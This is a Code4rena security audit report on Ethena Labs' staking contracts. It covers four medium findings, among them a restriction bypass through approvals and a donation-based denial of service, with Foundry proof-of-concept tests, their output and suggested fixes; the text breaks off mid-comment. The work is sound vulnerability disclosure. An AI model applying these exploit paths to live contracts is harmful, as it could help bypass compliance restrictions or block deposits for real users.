Ethena Labs
Findings & Analysis Report

2023-12-21

Table of contents

Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the Ethena Labs smart contract system written in Solidity. The audit took place between October 24—October 30 2023.

Wardens

158 Wardens contributed reports to Ethena Labs:

1. peanuts
2. Madalad
3. adeolu
4. Eeyore
5. Shubham
6. josephdara
7. jasonxiale
8. Mike_Bello90
9. 0xWaitress
10. d3e4
11. Yanchuan
12. ayden
13. mert_eren
14. pontifex
15. twcctop
16. cartlex_
17. critical-or-high

18. trachev
19. ciphermarco
20. 0xmystery
21. Arz
22. HChang26
23. Limbooo
24. RamenPeople (kimchi and wasabi)
25. SovaSlava
26. lsaudit
27. J4X
28. squeaky_cactus
29. hunter_w3b
30. Udsen
31. Kaysoft
32. deepkin
33. pep7siup
34. btk
35. ast3ros
36. 0xAlix2 (a_kalout and ali_shehab)
37. dirk_y
38. 0xsadeeq
39. Cosine
40. Krace
41. 0xAadi
42. castle_chain
43. 0xpiken
44. radev_sw
45. ge6a
46. Team_Rocket (AlexCzm and EllipticPoint)

47. sorrynotsorry
48. tnquanghuy0512
49. lanrebayode77
50. degensec
51. KIntern_NA (duc and TrungOre)
52. SpicyMeatball
53. Beosin
54. 0xVolcano
55. oakcobalt
56. pavankv
57. Sathish9098
58. Kral01
59. Al-Qa-qa
60. ZanyBonzy
61. 0xSmartContract
62. 0xweb3boy
63. fouzantanveer
64. albahaca
65. catellatech
66. invitedtea
67. 0xAnah
68. niser93
69. JCK
70. K42
71. Bauchibred
72. D_Auditor
73. clara
74. Bulletprime
75. xiao

76. jauvany
77. digitizeworx
78. 0x11singh99
79. ThreeSigma (0x73696d616f, 0xCarolina, EduCatarino, and SolidityDev99)
80. arjun16
81. nuthan2x
82. 0xhacksmithh
83. SAQ
84. tabriz
85. petrichor
86. shamsulhaq123
87. Raihan
88. 0xhex
89. brakelessak
90. unique
91. 0xta
92. thekmj
93. phenom80
94. aslanbek
95. Rolezn
96. yashgoel72
97. 0xgrbr
98. SM3_SS
99. evmboi32
100. naman1778
101. ybansal2403
102. 0xhunter
103. qpzm
104. erebus

105. adam-idarrha
106. Avci (0xdanial and 0xArshia)
107. Breeje
108. PASCAL
109. rotcivegaf
110. asui
111. codynhat
112. BeliSesir
113. 0xG0P1
114. ImlazyOne
115. supersizer0x
116. pipidu83
117. cccz
118. cryptonue
119. kkkmmmsk
120. Rickard
121. Noro
122. Proxy
123. ziyou-
124. chainsnake
125. oxchsyston
126. 0xStalin
127. Fitro
128. rokinot
129. matrix_0wl
130. Walter
131. young
132. Zach_166
133. Topmark

134. almurhasan
135. csanuragjain
136. PENGUN
137. zhaojie
138. ptsanev
139. marchev
140. Strausses
141. foxb868
142. max10afternoon
143. DarkTower (Gelato_ST, Maroutis, OxTenma, and 0xrex)
144. rvierdiiev
145. twicek
146. 0x_Scar
147. Bughunter101

This audit was judged by 0xDjango.

Final report assembled by liveactionllama.

Summary

The C4 analysis yielded an aggregated total of 4 unique vulnerabilities. Of these vulnerabilities, 0 received a risk rating in the category of HIGH severity and 4 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 98 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 41 reports recommending gas optimizations.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 Ethena Labs repository, and is composed of 6 smart contracts written in the Solidity programming language and includes 588 lines of Solidity code.

In addition to the known issues identified by the project team, a Code4rena bot race was conducted at the start of the audit. The winning bot, **MrsHudson** from warden slvDev, generated the **Automated Findings report** and all findings therein were classified as out of scope.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on **the C4 website**, specifically our section on **Severity Categorization**.

Medium Risk Findings (4)

[M-01] `FULL_RESTRICTED` Stakers can bypass restriction through approvals

Submitted by **josephdara**, *also found by* **Arz**, **ge6a**, **KIntern_NA**, **Team_Rocket**, **mert_eren**, **sorrynotsorry**, *Eeyore (***1**, **2***)*, **tnquanghuy0512**, **Limbooo**, **0xmystery**, **Yanchuan**, **RamenPeople**, **lanrebayode77**, **J4X**, **degensec**, **HChang26**, **0xAadi**, **castle_chain**, **0xpiken**, **SpicyMeatball**, *and* **Beosin**

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L225-L238
https://github.com/code-423n4/2023-10-

ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L245-L248

The `StakedUSDe` contract implements a method to `SOFTLY` or `FULLY` restrict user address, and either transfer to another user or burn.

However there is an underlying issue. A fully restricted address is supposed to be unable to withdraw/redeem, however this issue can be walked around via the approve mechanism.

The openzeppelin `ERC4626` contract allows approved address to withdraw and redeem on behalf of another address so far there is an approval.

```
    function redeem(uint256 shares, address receiver, address owner)
public virtual override returns (uint256)
```

Blacklisted Users can explore this loophole to redeem their funds fully. This is because in the overridden `_withdraw` function, the token owner is not checked for restriction.

```
  function _withdraw(address caller, address receiver, address
_owner, uint256 assets, uint256 shares)
    internal
    override
    nonReentrant
    notZero(assets)
    notZero(shares)
  {
    if (hasRole(FULL_RESTRICTED_STAKER_ROLE, caller) ||
hasRole(FULL_RESTRICTED_STAKER_ROLE, receiver)) {
      revert OperationNotAllowed();
    }
```

Also in the overridden `_beforeTokenTransfer` there is a clause added to allow burning from restricted addresses:

```
  function _beforeTokenTransfer(address from, address to, uint256)
internal virtual override {
    if (hasRole(FULL_RESTRICTED_STAKER_ROLE, from) && to !=
address(0)) {
      revert OperationNotAllowed();
    }
```

All these issues allows a restricted user to simply approve another address and redeem their usde.

Proof of Concept

This is a foundry test that can be run in the `StakedUSDe.blacklist.t.sol` in the `test/foundry/staking` directory.

```
// SPDX-License-Identifier: MIT
pragma solidity >=0.8;

/* solhint-disable private-vars-leading-underscore  */
/* solhint-disable func-name-mixedcase  */
/* solhint-disable var-name-mixedcase  */

import {console} from "forge-std/console.sol";
import "forge-std/Test.sol";
import {SigUtils} from "forge-std/SigUtils.sol";

import "../../../contracts/USDe.sol";
import "../../../contracts/StakedUSDe.sol";
import "../../../contracts/interfaces/IUSDe.sol";
import "../../../contracts/interfaces/IERC20Events.sol";
import "../../../contracts/interfaces/ISingleAdminAccessControl.sol";

contract StakedUSDeBlacklistTest is Test, IERC20Events {
  USDe public usdeToken;
  StakedUSDe public stakedUSDe;
  SigUtils public sigUtilsUSDe;
  SigUtils public sigUtilsStakedUSDe;
  uint256 public _amount = 100 ether;

  address public owner;
  address public alice;
  address public bob;
  address public greg;

  bytes32 SOFT_RESTRICTED_STAKER_ROLE;
  bytes32 FULL_RESTRICTED_STAKER_ROLE;
  bytes32 DEFAULT_ADMIN_ROLE;
  bytes32 BLACKLIST_MANAGER_ROLE;

  event Deposit(address indexed caller, address indexed owner,
uint256 assets, uint256 shares);
  event Withdraw(
    address indexed caller, address indexed receiver, address indexed
owner, uint256 assets, uint256 shares
```

```
    );
    event LockedAmountRedistributed(address indexed from, address
  indexed to, uint256 amountToDistribute);

    function setUp() public virtual {
      usdeToken = new USDe(address(this));

      alice = makeAddr("alice");
      bob = makeAddr("bob");
      greg = makeAddr("greg");
      owner = makeAddr("owner");

      usdeToken.setMinter(address(this));

      vm.startPrank(owner);
      stakedUSDe = new StakedUSDe(IUSDe(address(usdeToken)),
  makeAddr('rewarder'), owner);
      vm.stopPrank();

      FULL_RESTRICTED_STAKER_ROLE =
  keccak256("FULL_RESTRICTED_STAKER_ROLE");
      SOFT_RESTRICTED_STAKER_ROLE =
  keccak256("SOFT_RESTRICTED_STAKER_ROLE");
      DEFAULT_ADMIN_ROLE = 0x00;
      BLACKLIST_MANAGER_ROLE = keccak256("BLACKLIST_MANAGER_ROLE");
    }

    function _mintApproveDeposit(address staker, uint256 amount, bool
  expectRevert) internal {
      usdeToken.mint(staker, amount);

      vm.startPrank(staker);
      usdeToken.approve(address(stakedUSDe), amount);

      uint256 sharesBefore = stakedUSDe.balanceOf(staker);
      if (expectRevert) {
        vm.expectRevert(IStakedUSDe.OperationNotAllowed.selector);
      } else {
        vm.expectEmit(true, true, true, false);
        emit Deposit(staker, staker, amount, amount);
      }
      stakedUSDe.deposit(amount, staker);
      uint256 sharesAfter = stakedUSDe.balanceOf(staker);
      if (expectRevert) {
        assertEq(sharesAfter, sharesBefore);
      } else {
        assertApproxEqAbs(sharesAfter - sharesBefore, amount, 1);
      }
      vm.stopPrank();
```

```
    }


     function test_fullBlacklist_withdraw_pass() public {
     _mintApproveDeposit(alice, _amount, false);

     vm.startPrank(owner);
     stakedUSDe.grantRole(FULL_RESTRICTED_STAKER_ROLE, alice);
     vm.stopPrank();
     //@audit-issue assert that alice is blacklisted
    bool isBlacklisted =
stakedUSDe.hasRole(FULL_RESTRICTED_STAKER_ROLE, alice);
    assertEq(isBlacklisted, true);
   //@audit-issue The staked balance of Alice
     uint256 balAliceBefore = stakedUSDe.balanceOf(alice);
     //@audit-issue The usde balance of address 56
     uint256 bal56Before = usdeToken.balanceOf(address(56));
     vm.startPrank(alice);
     stakedUSDe.approve(address(56), _amount);
     vm.stopPrank();

     //@audit-issue address 56 receives approval and can unstake usde
for Alice after a blacklist
     vm.startPrank(address(56));
     stakedUSDe.redeem(_amount, address(56), alice);
     vm.stopPrank();
       //@audit-issue The staked balance of Alice
      uint256 balAliceAfter = stakedUSDe.balanceOf(alice);
      //@audit-issue The usde balance of address 56
      uint256 bal56After = usdeToken.balanceOf(address(56));

       assertEq(bal56Before, 0);
       assertEq(balAliceAfter, 0);
       console.log(balAliceBefore);
       console.log(bal56Before);
       console.log(balAliceAfter);
       console.log(bal56After);

   }
}
```

Here we use `address(56)` as the second address, and we see that the user can withdraw their `100000000000000000000` tokens that was restricted.

This is my test result showing the balances.

```
[PASS] test_fullBlacklist_withdraw_pass() (gas: 239624)
Logs:
  10000000000000000000 // Alice staked balance before
  0 // address(56) USDe balance before
  0 // Alice staked balance after
  10000000000000000000 // address(56) USDe balance after

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.68ms
```

Tools Used

Foundry, Manual review

Recommended Mitigation Steps

Check the token owner as well in the `_withdraw` function:

```
    if (hasRole(FULL_RESTRICTED_STAKER_ROLE, caller) ||
hasRole(FULL_RESTRICTED_STAKER_ROLE, receiver) ||
hasRole(FULL_RESTRICTED_STAKER_ROLE, _owner) ) {
      revert OperationNotAllowed();
    }
```

FJ-Riveros (Ethena) confirmed via duplicate issue #666

0xDjango (judge) decreased severity to Medium

josephdara (warden) commented:

> *Hi @0xDjango, I do believe this is a high severity bug. It does break a major protocol functionality, compromising assets directly. According to the severity categorization:*
>
> > *3 — High: Assets can be stolen/lost/compromised directly*
>
> *Thanks!*

0xDjango (judge) commented:

> > *@josephdara - I have conversed with the project team, and we have agreed that breaking rules due to legal compliance is medium severity as no funds are at risk.*

[M-02] Soft Restricted Staker Role can withdraw stUSDe for USDe

Submitted by squeaky_cactus, *also found by* Arz, Kaysoft, Udsen, deepkin, SovaSlava, Oxsadeeq, pep7siup, Shubham, peanuts, Limbooo, Yanchuan, btk, RamenPeople, Cosine, ast3ros, HChang26, 0xAlix2, dirk_y, *and* Krace

A requirement is stated that a user with the `SOFT_RESTRICTED_STAKER_ROLE` is not allowed to withdraw `USDe` for `stUSDe`.

The code does not satisfy that condition, when a holder has the `SOFT_RESTRICTED_STAKER_ROLE`, they can exchange their `stUSDe` for `USDe` using `StakedUSDeV2`.

Description

The Ethena readme has the following decription of legal requirements for the Soft Restricted Staker Role:
https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/README.md?plain=1#L98

```
Due to legal requirements, there's a `SOFT_RESTRICTED_STAKER_ROLE`
and `FULL_RESTRICTED_STAKER_ROLE`.
The former is for addresses based in countries we are not allowed to
provide yield to, for example USA.
Addresses under this category will be soft restricted. They cannot
deposit USDe to get stUSDe or withdraw stUSDe for USDe.
However they can participate in earning yield by buying and selling
stUSDe on the open market.
```

In summary, legal requires are that a `SOFT_RESTRICTED_STAKER_ROLE`:

- MUST NOT deposit USDe to get stUSDe
- MUST NOT withdraw USDe for USDe

- MAY earn yield by trading stUSDe on the open market

As `StakedUSDeV2` is a `ERC4626`, the `stUSDe` is a share on the underlying `USDe` asset. There are two distinct entrypoints for a user to exchange their share for their claim on the underlying the asset, `withdraw` and `redeem`. Each cater for a different input (`withdraw` being by asset, `redeem` being by share), however both invoked the same internal `_withdraw` function, hence both entrypoints are affected.

There are two cases where a user with `SOFT_RESTRICTED_STAKER_ROLE` may have acquired `stUSDe`:

- Brought `stUSDe` on the open market
- Deposited `USDe` in `StakedUSDeV2` before being granted the `SOFT_RESTRICTED_STAKER_ROLE`

In both cases the user can call either withdraw their holding by calling `withdraw` or `redeem` (when cooldown is off), or `unstake` (if cooldown is on) and successfully exchange their `stUSDe` for `USDe`.

Proof of Concept

The following two tests demonstrate the use case of a user staking, then being granted the `SOFT_RESTRICTED_STAKER_ROLE`, then exchanging their `stUSDe` for `USDe` (first using `redeem` function, the second using `withdrawm`).

The use case for acquiring on the open market, only requiring a different setup, however the exchange behaviour is identical and the cooldown enabled `cooldownAssets` and `cooldownShares` function still use the same `_withdraw` as `redeem` and `withdraw`, which leads to the same outcome.

(Place code into `StakedUSDe.t.sol` and run with `forge test`)
https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/test/foundry/staking/StakedUSDe.t.sol

```
  bytes32 public constant SOFT_RESTRICTED_STAKER_ROLE =
keccak256("SOFT_RESTRICTED_STAKER_ROLE");
  bytes32 private constant BLACKLIST_MANAGER_ROLE =
keccak256("BLACKLIST_MANAGER_ROLE");

  function test_redeem_while_soft_restricted() public {
    // Set up Bob with 100 stUSDe
    uint256 initialAmount = 100 ether;
    _mintApproveDeposit(bob, initialAmount);
    uint256 stakeOfBob = stakedUSDe.balanceOf(bob);

    // Alice becomes a blacklist manager
    vm.prank(owner);
    stakedUSDe.grantRole(BLACKLIST_MANAGER_ROLE, alice);

    // Blacklist Bob with the SOFT_RESTRICTED_STAKER_ROLE
    vm.prank(alice);
    stakedUSDe.addToBlacklist(bob, false);

    // Assert that Bob has staked and is now has the soft restricted
role
    assertEq(usdeToken.balanceOf(bob), 0);
    assertEq(stakedUSDe.totalSupply(), stakeOfBob);
    assertEq(stakedUSDe.totalAssets(), initialAmount);
    assertTrue(stakedUSDe.hasRole(SOFT_RESTRICTED_STAKER_ROLE, bob));

    // Rewards to StakeUSDe and vest
    uint256 rewardAmount = 50 ether;
    _transferRewards(rewardAmount, rewardAmount);
    vm.warp(block.timestamp + 8 hours);

    // Assert that only the total assets have increased after vesting
    assertEq(usdeToken.balanceOf(bob), 0);
    assertEq(stakedUSDe.totalSupply(), stakeOfBob);
    assertEq(stakedUSDe.totalAssets(), initialAmount + rewardAmount);
    assertTrue(stakedUSDe.hasRole(SOFT_RESTRICTED_STAKER_ROLE, bob));

    // Bob withdraws his stUSDe for USDe
    vm.prank(bob);
    stakedUSDe.redeem(stakeOfBob, bob, bob);

    // End state being while being soft restricted Bob redeemed USDe
with rewards
    assertApproxEqAbs(usdeToken.balanceOf(bob), initialAmount +
rewardAmount, 2);
    assertApproxEqAbs(stakedUSDe.totalAssets(), 0, 2);
    assertTrue(stakedUSDe.hasRole(SOFT_RESTRICTED_STAKER_ROLE, bob));
  }
```

```
  function test_withdraw_while_soft_restricted() public {
    // Set up Bob with 100 stUSDe
    uint256 initialAmount = 100 ether;
    _mintApproveDeposit(bob, initialAmount);
    uint256 stakeOfBob = stakedUSDe.balanceOf(bob);

    // Alice becomes a blacklist manager
    vm.prank(owner);
    stakedUSDe.grantRole(BLACKLIST_MANAGER_ROLE, alice);

    // Blacklist Bob with the SOFT_RESTRICTED_STAKER_ROLE
    vm.prank(alice);
    stakedUSDe.addToBlacklist(bob, false);

    // Assert that Bob has staked and is now has the soft restricted
role
    assertEq(usdeToken.balanceOf(bob), 0);
    assertEq(stakedUSDe.totalSupply(), stakeOfBob);
    assertEq(stakedUSDe.totalAssets(), initialAmount);
    assertTrue(stakedUSDe.hasRole(SOFT_RESTRICTED_STAKER_ROLE, bob));

    // Rewards to StakeUSDe and vest
    uint256 rewardAmount = 50 ether;
    _transferRewards(rewardAmount, rewardAmount);
    vm.warp(block.timestamp + 8 hours);

    // Assert that only the total assets have increased after vesting
    assertEq(usdeToken.balanceOf(bob), 0);
    assertEq(stakedUSDe.totalSupply(), stakeOfBob);
    assertEq(stakedUSDe.totalAssets(), initialAmount + rewardAmount);
    assertTrue(stakedUSDe.hasRole(SOFT_RESTRICTED_STAKER_ROLE, bob));

    // Bob withdraws his stUSDe for USDe (-1 as dust is lost in asset
to share rounding in ERC4626)
    vm.prank(bob);
    stakedUSDe.withdraw(initialAmount + rewardAmount - 1, bob, bob);

    // End state being while being soft restricted Bob redeemed USDe
with rewards
    assertApproxEqAbs(usdeToken.balanceOf(bob), initialAmount +
rewardAmount, 2);
    assertApproxEqAbs(stakedUSDe.totalAssets(), 0, 2);
    assertTrue(stakedUSDe.hasRole(SOFT_RESTRICTED_STAKER_ROLE, bob));
  }
```

Tools Used

Manual review, Foundry test

Recommended Mitigation Steps

With the function overriding present, to prevent the `SOFT_RESTRICTED_STAKER_ROLE` from being able to exchange their `stUSDs` for `USDe`, make the following change in `StakedUSDe`

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L232

```
-    if (hasRole(FULL_RESTRICTED_STAKER_ROLE, caller) ||
hasRole(FULL_RESTRICTED_STAKER_ROLE, receiver)) {
+    if (hasRole(FULL_RESTRICTED_STAKER_ROLE, caller) ||
hasRole(FULL_RESTRICTED_STAKER_ROLE, receiver) ||
hasRole(SOFT_RESTRICTED_STAKER_ROLE, caller)) {
      revert OperationNotAllowed();
    }
```

0xDjango (judge) decreased severity to Medium

kayinnnn (Ethena) disputed and commented:

> *For this issue, the docs were incorrect to say withdrawal by soft restricted role is not allowed. Only depositing is not allowed.*

[M-03] users still forced to follow previously set cooldownDuration even when cooldown is off (set to zero) before unstaking

Submitted by **adeolu**, *also found by* **jasonxiale**, **Madalad**, **Mike_Bello90**, **peanuts**, **josephdara**, **Eeyore**, *and* **Shubham**

The `StakedUSDeV2` contract can enforces coolDown periods for users before they are able to unstake/ take out their funds from the silo contract if coolDown is on. Based on the presence of the modifiers `ensureCooldownOff` and `ensureCooldownOn`, it is known that the coolDown state of the `StakedUSDeV2` contract can be toggled on or off. In a scenario where coolDown is on (always

turned on by default) and Alice and Bob deposits, two days after Alice wants to withdraw/redeem. Alice is forced to wait for 90 days before completing withdrawal/getting her tokens from the silo contract because Alice must call coolDownAsset()/coolDownShares() fcns respectively. Bob decides to wait an extra day.

On the third day, Bob decides to withdraw/redeem. Contract admin also toggles the coolDown off (sets cooldownDuration to 0), meaning there is no longer a coolDown period and all withdrawals should be sent to the users immediately. Bob now calls calls the redeem()/withdraw() fcn to withdraw instantly to his address instead of the silo address since there is no coolDown.

Alice sees Bob has gotten his tokens but Alice cant use the redeem()/withdraw() because her `StakedUSDeV2` were already burned and her underlying assets were sent to the silo contract for storage. Alice cannot sucessfully call `unstake()` because her `userCooldown.cooldownEnd` value set to ~ 90 days. Now Alice has to unfairly wait out the 90 days even though coolDowns have been turned off and everyone else has unrestricted access to their assets. Alice only crime is trying to withdraw earlier than Bob. This is a loss to Alice as Alice has no StakedUSDE or the underlying asset for the no longer necessary 90 days as if the assset is volatile, it may lose some fiat value during the unfair and no longer necessary wait period.

If cooldown is turned off, it should affect all contract processes and as such, withdrawals should become immediate to users. Tokens previously stored in the USDeSilo contract should become accessible to users when the cooldown state is off. Previous withdrawal requests that had a cooldown should no longer be restricted by a coolDown period since coolDown now off and the coolDownDuration of the contract is now 0.

Proof of Concept

- Since StakedUSDeV2 is ERC4626, user calls **deposit()** to deposit the underlying token asset and get minted shares that signify the user's position size in the vault.
- The coolDown duration is set to 90 days on deployment of the `StakedUSDeV2` contract, meaning coolDown is toggled on by default.
- User cannot redeem/withdraw his funds via **withdraw()** and **redeem()** because coolDown is on. Both functions have the **ensureCooldownOff** modifier which reverts if the coolDownDuration value is not 0.
- User tried to exit position, to withdraw when coolDown is on, user must call coolDownAsset()/coolDownShares(). This will cause :
    - For the user's underlyingAmount and cooldownEnd timestamp values to be set in the mapping `cooldowns` . cooldownEnd timestamp values is set to 90 days from

the present.

- For the user's `StakedUSDeV2` ERC4626 position shares to be burnt and the positon underlying asset value to be sent to the USDeSilo contract.

```
        /// @notice redeem assets and starts a cooldown to claim the
converted underlying asset
        /// @param assets assets to redeem
        /// @param owner address to redeem and start cooldown, owner
must allowed caller to perform this action
        function cooldownAssets(uint256 assets, address owner)
external ensureCooldownOn returns (uint256) {
         if (assets > maxWithdraw(owner)) revert
ExcessiveWithdrawAmount();

         uint256 shares = previewWithdraw(assets);

         cooldowns[owner].cooldownEnd = uint104(block.timestamp) +
cooldownDuration;
         cooldowns[owner].underlyingAmount += assets;

         _withdraw(_msgSender(), address(silo), owner, assets,
shares);

         return shares;
        }

        /// @notice redeem shares into assets and starts a cooldown
to claim the converted underlying asset
        /// @param shares shares to redeem
        /// @param owner address to redeem and start cooldown, owner
must allowed caller to perform this action
        function cooldownShares(uint256 shares, address owner)
external ensureCooldownOn returns (uint256) {
         if (shares > maxRedeem(owner)) revert
ExcessiveRedeemAmount();

         uint256 assets = previewRedeem(shares);

         cooldowns[owner].cooldownEnd = uint104(block.timestamp) +
cooldownDuration;
         cooldowns[owner].underlyingAmount += assets;

         _withdraw(_msgSender(), address(silo), owner, assets,
shares);
```

```
    return assets;
  }
```

- User can only use unstake() to get the assets from the silo contract. unstake enforces that the block.timestamp (present time) is more than the 90 days cooldown period set during the execution of `cooldownAssets()` and `cooldownShares()` and reverts if 90 days time has not been reached yet.

```
function unstake(address receiver) external {
  UserCooldown storage userCooldown = cooldowns[msg.sender];
  uint256 assets = userCooldown.underlyingAmount;

  if (block.timestamp >= userCooldown.cooldownEnd) {
    userCooldown.cooldownEnd = 0;
    userCooldown.underlyingAmount = 0;

    silo.withdraw(receiver, assets);
  } else {
    revert InvalidCooldown();
  }
}
```

- If contract admin decides to turn the coolDown period off, by setting the cooldownDuration to 0 via **setCooldownDuration()**, user who has his assets under the coolDown in the silo still wont be able to withdraw via **unstake()** because the logic in `unstake()` doesnt allow for the user's coolDownEnd value which was set under the previous coolDown duration state to be bypassed as coolDowns are now turned off and the StakedUSDeV2 behavior is supposed to be changed to follow ERC4626 standard and allow for the user assets to get to them immediately with no coolDown period still enforced on withdrawals as seen in the comment **here**.
- User who initiated withdrawal when the coolDown was toggled on will still continue to be restricted from his tokens/funds even after coolDown is toggled off. This should not be because restrictions are removed, all previous pending withdrawals should be allowed to be completed without wait for 90 days since the coolDownDuration of the contract is now 0.

Coded Proof of Concept

Run with `forge test --mt test_UnstakeUnallowedAfterCooldownIsTurnedOff .`

```
    // SPDX-License-Identifier: MIT
    pragma solidity >=0.8;

    /* solhint-disable private-vars-leading-underscore  */
    /* solhint-disable var-name-mixedcase  */
    /* solhint-disable func-name-mixedcase  */

    import "forge-std/console.sol";
    import "forge-std/Test.sol";
    import {SigUtils} from "forge-std/SigUtils.sol";

    import "../../../contracts/USDe.sol";
    import "../../../contracts/StakedUSDeV2.sol";
    import "../../../contracts/interfaces/IUSDe.sol";
    import "../../../contracts/interfaces/IERC20Events.sol";

    contract StakedUSDeV2CooldownTest is Test, IERC20Events {
      USDe public usdeToken;
      StakedUSDeV2 public stakedUSDeV2;
      SigUtils public sigUtilsUSDe;
      SigUtils public sigUtilsStakedUSDe;
      uint256 public _amount = 100 ether;

      address public owner;
      address public alice;
      address public bob;
      address public greg;

      bytes32 SOFT_RESTRICTED_STAKER_ROLE;
      bytes32 FULL_RESTRICTED_STAKER_ROLE;
      bytes32 DEFAULT_ADMIN_ROLE;
      bytes32 BLACKLIST_MANAGER_ROLE;
      bytes32 REWARDER_ROLE;

      event Deposit(address indexed caller, address indexed owner,
uint256 assets, uint256 shares);
      event Withdraw(
        address indexed caller, address indexed receiver, address
indexed owner, uint256 assets, uint256 shares
      );
      event LockedAmountRedistributed(address indexed from, address
indexed to, uint256 amountToDistribute);

      function setUp() public virtual {
        usdeToken = new USDe(address(this));
```

```
        alice = makeAddr("alice");
        bob = makeAddr("bob");
        greg = makeAddr("greg");
        owner = makeAddr("owner");

        usdeToken.setMinter(address(this));

        vm.startPrank(owner);
        stakedUSDeV2 = new StakedUSDeV2(IUSDe(address(usdeToken)),
makeAddr('rewarder'), owner);
        vm.stopPrank();

        FULL_RESTRICTED_STAKER_ROLE =
keccak256("FULL_RESTRICTED_STAKER_ROLE");
        SOFT_RESTRICTED_STAKER_ROLE =
keccak256("SOFT_RESTRICTED_STAKER_ROLE");
        DEFAULT_ADMIN_ROLE = 0x00;
        BLACKLIST_MANAGER_ROLE = keccak256("BLACKLIST_MANAGER_ROLE");
        REWARDER_ROLE = keccak256("REWARDER_ROLE");
      }

      function test_UnstakeUnallowedAfterCooldownIsTurnedOff ()
public {
        address staker = address(20);
        uint usdeTokenAmountToMint = 10000*1e18;

        usdeToken.mint(staker, usdeTokenAmountToMint);

        //at the deposit coolDownDuration is set to 90 days
        assert(stakedUSDeV2.cooldownDuration() == 90 days);

        vm.startPrank(staker);
        usdeToken.approve(address(stakedUSDeV2),
usdeTokenAmountToMint);

        stakedUSDeV2.deposit(usdeTokenAmountToMint / 2, staker);

        vm.roll(block.number + 1);
        uint assets  = stakedUSDeV2.maxWithdraw(staker);
        stakedUSDeV2.cooldownAssets(assets , staker);

        vm.stopPrank();

        //assert that cooldown for the staker is now set to 90 days
from now
        ( uint104 cooldownEnd, ) = stakedUSDeV2.cooldowns(staker);
        assert(cooldownEnd == uint104( block.timestamp + 90 days));

        vm.prank(owner);
```

```
            //toggle coolDown off in the contract
            stakedUSDeV2.setCooldownDuration(0);

            //now try to unstake,
            /** since cooldown duration is now 0 and contract is cooldown
    state is turned off.
            it should allow unstake immediately but instead it will
    revert **/

    vm.expectRevert(IStakedUSDeCooldown.InvalidCooldown.selector);
            vm.prank(staker);
            stakedUSDeV2.unstake(staker);
          }
        }
```

Tools Used

Manual review, Foundry

Recommended Mitigation Steps

Modify the code in unstake() fcn to allow for withdrawals from the silo contract when the contract's coolDownDuration has become 0.

Assessed type

Error

kayinnnn (Ethena) confirmed and commented:

> *Acknowledge the issue, but revise to low severity finding as it causes minor inconvenience in the rare time we change cooldown period. However, it is still fixed - existing per user cooldown is ignored if the global cooldown is `0`.*

[M-04] Malicious users can front-run to cause a denial of service (DoS) for StakedUSDe due to MinShares checks

Submitted by **ayden**, *also found by d3e4 (1, 2),* **pontifex**, **trachev**, **ciphermarco**, **Madalad**, **Yanchuan**, **peanuts**, **twcctop**, **cartlex_**, **mert_eren**, *0xWaitress (1, 2), and* **critical-or-high**

Malicious users can transfer `USDe` token to `StakedUSDe` protocol directly lead to a denial of service (DoS) for StakedUSDe due to the limit shares check.

Proof of Concept

User deposit `USDe` token to `StakedUSDe` protocol to get share via invoke external `deposit` function. Let's see how share is calculate:

```
    function _convertToShares(uint256 assets, Math.Rounding rounding)
internal view virtual returns (uint256) {
        return assets.mulDiv(totalSupply() + 10 ** _decimalsOffset(),
totalAssets() + 1, rounding);
    }
```

Since `decimalsOffset() == 0` and totalAssets equal the balance of `USDe` in this protocol

```
    function totalAssets() public view virtual override returns
(uint256) {
        return _asset.balanceOf(address(this));
    }
```

$$ f(share) = (USDeAmount \ast totalSupply) / (totalUSDeAssets() + 1) $$

The minimum share is set to 1 ether.

```
  uint256 private constant MIN_SHARES = 1 ether;
```

Assuming malicious users transfer 1 ether of `USDe` into the protocol and receive ZERO shares, how much tokens does the next user need to pay if they want to exceed the minimum share limit of 1 ether? That would be 1 ether times 1 ether, which is a substantial amount.

I add a test case in `StakedUSDe.t.sol` :

```
  function testMinSharesViolation() public {
    address malicious = vm.addr(100);

    usdeToken.mint(malicious, 1 ether);
    usdeToken.mint(alice, 1000 ether);

    //assume malicious user deposit 1 ether into protocol.
    vm.startPrank(malicious);
    usdeToken.transfer(address(stakedUSDe), 1 ether);
```

```
        vm.stopPrank();
        vm.startPrank(alice);
        usdeToken.approve(address(stakedUSDe), type(uint256).max);

        //1000 ether can't exceed the minimum share limit of 1 ether
        vm.expectRevert(IStakedUSDe.MinSharesViolation.selector);
        stakedUSDe.deposit(1000 ether, alice);
    }
```

We can see even Alice deposit a substantial number of tokens but still cannot surpass the 1 ether share limit which will lead to a denial of service (DoS) for StakedUSDe due to MinShares checks.

Tools Used

vscode

Recommended Mitigation Steps

We can solve this issue by setting a minimum deposit amount.

Assessed type

DoS

FJ-Riveros (Ethena) acknowledged, but disagreed with severity and commented via duplicate issue #32:

> *We acknowledge the potential exploitability of this issue, but we propose marking it as* `Medium` *severity. Our rationale is based on the fact that this exploit can only occur during deployment. To mitigate this risk, we plan to fund the smart contract in the next block, ensuring that nobody has access to the ABI or contract source code. We could even use flashbots for this purpose.*

0xDjango (judge) commented via duplicate issue #32:

> *Agree with medium. Several of the duplicate reports vary in their final impacts but mostly consist of:*